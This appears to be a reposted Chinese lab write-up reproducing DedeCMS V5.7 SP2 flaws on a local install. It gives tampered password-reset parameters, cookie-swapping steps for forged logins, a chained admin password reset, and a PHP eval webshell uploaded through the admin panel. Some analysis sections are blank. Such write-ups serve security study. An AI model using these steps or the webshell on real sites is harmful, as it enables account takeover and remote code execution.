文章目錄
- 前言
- 一、環境搭建
- ??首頁訪問慢解決方案
- 二、漏洞分析以及復現
- ??任意修改前臺用戶密碼
- ??cookie偽造任意前臺用戶登錄
- ??前臺檔案上傳漏洞
- ??任意重置后臺用戶密碼
- ??后臺任意檔案上傳
- 總結
前言
??織夢內容管理系統(DedeCms) 以簡單、實用、開源而聞名,是國內最知名的PHP開源網站管理系統,也是使用用戶最多的PHP類CMS系統,在經歷多年的發展,版本無論在功能,還是在易用性方面,都有了長足的發展和進步,DedeCms免費版的主要目標用戶鎖定在個人站長,功能更專注于個人網站或中小型門戶的構建,當然也不乏有企業用戶和學校等在使用該系統,
一、環境搭建
下載DedeCMS并原始碼解壓到phpstuday目錄下

然后輸入http://localhost/uploads/install/index.php進入安裝界面

進入環境檢測頁面

進入引數配置頁面

安裝完成

訪問首頁 http://localhost/uploads/index.html

登錄后臺(默認用戶、密碼 admin admin)
默認管理后臺路徑:http://localhost/uploads/dede/login.php


??首頁訪問慢解決方案
注釋以下代碼(DedeCMS-V5.7-UTF8-SP2\uploads\dede\templets\index_body.htm)
$(function()
{
$.get("index_testenv.php",function(data)
{
if(data !== '')
{
$("#__testEvn").html(data);
}
});
$.get("index_body.php?dopost=get_seo",function(data)
{
if(data !== '')
{
$("#SEOInfo").html(data);
}
});
});
注釋以下代碼(DedeCMS-V5.7-UTF8-SP2\uploads\include\helpers\mda.helper.php)
define('MDA_APIHOST', 'http://ssp.desdev.cn');
define('MDA_JQUERY', MDA_APIHOST.'/assets/js/jquery.min.js');
define('MDA_REG_URL', MDA_APIHOST.'/home/register');
define('MDA_FORGOT_PASSWORD_URL', MDA_APIHOST.'/home/forgot_password');
define('MDA_UPDATE_URL', MDA_APIHOST.'/home/update');
define('MDA_API_BIND_USER', MDA_APIHOST.'/api_v1/dedecms/bind_user');
define('MDA_API_LOGIN', MDA_APIHOST.'/api_v1/dedecms/login');
define('MDA_API_CHECK_LOGIN', MDA_APIHOST.'/api_v1/dedecms/check_login');
define('MDA_API_GET_PLACE', MDA_APIHOST.'/api_v1/dedecms/get_place');
注釋以下代碼(DedeCMS-V5.7-UTF8-SP2\uploads\data\admin\config_update.php)
代碼里面包含*dedecms.com 都可以注釋了
define('UPDATEHOST', 'http://updatenew.dedecms.com/base-v57/');
define('LINKHOST', 'http://flink.dedecms.com/server_url.php');
二、漏洞分析以及復現
??任意修改前臺用戶密碼
漏洞成因
??在用戶密碼重置處,php存在弱型別比較,導致如果用戶沒有設定密保問題的情況下可以繞過驗證密保問題,直接修改密碼(管理員默認不設定密保問題),注意:修改的密碼是member表中的密碼(前臺),即使修改了管理員密碼也member表中的管理的密碼,仍是無法進入管理后臺,
漏洞代碼分析
弱型別比較問題很常見,在不同
漏洞復現
注冊、登錄不了

進入后臺管理開啟會員功能

注冊一個賬戶(格式為1xxx 或者001 00001 00001這種格式 )

注冊成功

進入會員中心 退出用戶

點擊忘記密碼 ?http://192.168.204.129/uploads/member/resetpassword.php

輸入用戶名、郵箱 ?點擊通過安全問題取回

安全問題

通過BurpSuite 改包把
dopost=safequestion&id=9&userid=001&safequestion=0&safeanswer=SDFS&vdcode=fykc替換成
dopost=safequestion&id=1&userid=001&safequestion=00&safeanswer=&vdcode=fykc

獲取重置密碼的鏈接(http://192.168.204.129/uploads/member/resetpassword.php?dopost=getpasswd&id=1&key=PuzjtPi)

進入url修改密碼(admin123 )

重置密碼出現非法提交
出現非法提交如下圖

就把http://localhost/uploads/member/resetpassword.php?dopost=getpasswd&id=1&key=92L1YcQ2
拆分成http://localhost/uploads/member/resetpassword.php?dopost=getpasswd&id=1直接訪問URL 臨時密碼就是92L1YcQ2


更改密碼成功

??cookie偽造任意前臺用戶登錄
漏洞成因
??dedecms的會員模塊的身份認證使用的客戶端session,在cookie中寫入用戶ID并且附上ID_ckMd5,用來做簽名,主頁存在邏輯漏洞,導致可以回傳指定uid的id的MD5散列值,原理上可以偽造任意用戶登錄,
漏洞代碼分析
漏洞復現
登錄會員中心

進入個人空間 提示空間禁止訪問

進入后臺管理開放權限

資料狀態改為:正常使用或者審核通過都可以

打開Burp Suite 攔截功能進入001的個人空間
DedeUserID的值替換成last_vid的值
last_vid__ckMd5的值替換成DedeUserID__ckMd5的值

forward 進入了

切換到會員中心重繪一下

再次進行替換
DedeUserID的值替換成last_vid的值
last_vid__ckMd5的值替換成DedeUserID__ckMd5的值

forward

我這里是使用Burp Suite攔截進行替換有點繁瑣每次都需要替換DedeUserID和last_vid 可以使用cookie修改插件 比如EditThisCookie
??前臺檔案上傳漏洞
漏洞成因
漏洞代碼分析
??任意重置后臺用戶密碼
漏洞成因
當使用admin用戶登錄前臺進行密碼修改的時候會順帶講admin的后臺密碼也進行修改了,
漏洞代碼分析
漏洞復現
??先利用前臺用戶密碼重置漏洞重置admin的前臺密碼,然后使用cookie偽造漏洞登錄到admin前臺在如下頁面進行密碼重置,舊密碼便是利用任意前臺用戶密碼重置漏洞amdin的前臺密碼(admin123),新密碼自行設定

修改成功

訪問后臺管理用修改的密碼進行登錄(admin)

??后臺任意檔案上傳
漏洞成因
漏洞代碼分析
漏洞復現
進入后臺管理 → 檔案式管理 → 檔案上傳

上傳1.php 一句話木馬(<?php eval($_POST[x]);?>)


使用蟻劍連接

總結
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/342110.html
標籤:其他
下一篇:bugku game1
